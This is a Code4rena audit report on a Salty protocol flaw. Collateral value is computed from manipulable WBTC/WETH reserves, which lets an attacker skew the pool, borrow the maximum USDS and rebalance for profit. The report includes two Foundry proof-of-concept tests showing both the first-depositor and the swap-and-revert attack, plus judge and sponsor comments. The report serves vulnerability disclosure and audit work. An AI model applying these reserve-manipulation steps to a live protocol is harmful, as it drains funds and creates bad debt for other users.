An attacker is able to increase his collateral value by manipulating the reserves allowing him to mint more USDS

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L232-L233

Vulnerability details

Users are able deposit WBTC/WETH liquidity as collateral for borrowing USDS, they are allowed to borrow 50% of their collateral value.

The amount of collateral that the user has deposited is determined by their proportion of the shares and the reserves:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L232-L233

uint256 userWBTC = (reservesWBTC * userCollateralAmount) / totalCollateralShares;
uint256 userWETH = (reservesWETH * userCollateralAmount) / totalCollateralShares;

The problem here is that the reserves dont have to be always correctly balanced using the correct market value ratio so this can be abused by an attacker.

Example 1:

Price of 1 WBTC = 10,000 USD price of 1 WETH = 1000 USD

1. Exchange is approved and users are able to deposit
2. The attacker is the first one to deposit into the WETH/WBTC pool so he can use any ratio as he wants
3. He uses an incorrect ratio so that there are much more WBTC in the pool than WETH(for example 100 WBTC and 1 WETH)
4. Because the price of WBTC is higher, his collateral value will be much bigger
5. He will then borrow the max amount
6. After he borrows, he will swap so that the reserves are balanced in the correct ratio - 1:10 , by swapping he receives a large amount of his WBTC back(because there are more WBTC than WETH in the pool)
7. The amount of USDS he minted is much bigger than the collateral that he left after the swap(that is later liquidated) allowing him to profit a lot from this

If the attacker is not the first depositor then this attack is still possible:

Example 2:

1. Users start depositing liquidity to the WBTC/WETH pool using the correct ratio
2. The attacker then deposits collateral
3. He then swaps a huge amount of WBTC for WETH so that his collateral value is much bigger(because he increased the WBTC reserves)
4. He then borrows the max amount of USDS
5. He will then swap back the exact amount of WETH that he received to rebalance the pool and receive his WBTC back, this way he didnt lose anything from these swaps
6. His initial collateral is liquidated but the amount of USDS minted is bigger than that

However, the second attack is only profitable when arbitrage does not happen(because the arbitrage would rebalance the pool after the large swap) but because the SALT pools are built slowly, this attack will still be possible until there is enough liquidity for arbitrage to happen.

Impact

The attacker will be able to profit from this and mint a large amount of USDS, this will also create bad debt and the protocol will suffer big loses right after the launch.

Proof of Concept

I have included a PoC for both examples described above. Add this to CollateralAndLiquidity.t.sol. As you can see the attacker will be able to profit a lot from this. Flash loans can be used to perform this attack

function testAttack1() public {
        //WBTC has 8 decimals and is worth 10x more than WETH
        vm.startPrank( DEPLOYER );
        forcedPriceFeed.setBTCPrice( 10000 ether );
        forcedPriceFeed.setETHPrice( 1000 ether );
    vm.stopPrank();

        console.log("USDS BALANCE OF THE ATTACKER BEFORE ATTACK:", usds.balanceOf(alice));

        //The attack starts here
        //The attacker is the first depositor so he sets an incorrect ratio(100 WBTC and 1 WETH)
        vm.startPrank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( 100 * 1e8, 1e18, 0, block.timestamp, false );

        //He then borrows the max
        collateralAndLiquidity.borrowUSDS( collateralAndLiquidity.maxBorrowableUSDS(alice) );

        //The attacker then rebalances the reserves to get his WBTC back
        //30.6 ether is the exact amount he needs to make the reserves 1:10
        weth.approve( address(pools), type(uint256).max );
        pools.depositSwapWithdraw(weth,wbtc,30.6 ether,0,block.timestamp);

        uint256 attackersCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice) / 1e18;

        //The amount borrowed is then much bigger than his collateral value
        console.log("USDS BALANCE OF THE ATTACKER AFTER ATTACK:", usds.balanceOf(alice) / 1e18);
        console.log("THE PROFIT OF THE ATTACKER IS: %s$", usds.balanceOf(alice) / 1e18 - attackersCollateralValue);
    }

    function testAttack2() public {
        //WBTC has 8 decimals and is worth 10x more than WETH
        vm.startPrank( DEPLOYER );
    forcedPriceFeed.setBTCPrice( 10000 ether );
        forcedPriceFeed.setETHPrice( 1000 ether );
    vm.stopPrank();

        console.log("USDS BALANCE OF THE ATTACKER BEFORE THE ATTACK:", usds.balanceOf(bob));

        //Alice deposits liquidity using the correct ratio
        vm.prank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( 1e8, 10 ether, 0, block.timestamp, false );

        //The attack starts here, the attacker deposits collateral
        vm.startPrank(bob);
        collateralAndLiquidity.depositCollateralAndIncreaseShare( 10 * 1e8, 100 ether, 0, block.timestamp, false );

        wbtc.approve( address(pools), type(uint256).max );
        weth.approve( address(pools), type(uint256).max );

        //He then swaps a big amount, mints and swaps back
        uint256 amountOut = pools.depositSwapWithdraw(wbtc,weth,40e8,0,block.timestamp);

        collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(bob));

        pools.depositSwapWithdraw(weth,wbtc,amountOut,0,block.timestamp);

        //Because the attacker swapped back he didnt lose anything from the swap
        //He only loses his initial deposit but he received much more USDS
        uint256 attackersCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(bob) / 1e18;

        console.log("USDS BALANCE OF THE ATTACKER AFTER THE ATTACK:", usds.balanceOf(bob) / 1e18);
        console.log("THE PROFIT OF THE ATTACKER IS: %s$", usds.balanceOf(bob) / 1e18 - attackersCollateralValue);
    } 

Tools Used

Foundry

Recommended Mitigation Steps

I believe this issue will only be present right after the launch before there is enough liquidity in WBTC/WETH and the SALT pools. So one way to mitigate this would be to allow borrowing only after some time and after the pools are built and have liquidity.

Assessed type

Other

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

This is acceptable as the automatic arbitrage mechanic prevents symmetrical swapping in that arbitrage happens after the user's first swap putting the attacker at a disadvantage when they try to restore their original position.

[c4-judge]

Picodes marked issue #222 as primary and marked this issue as a duplicate of 222

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 2 (Med Risk)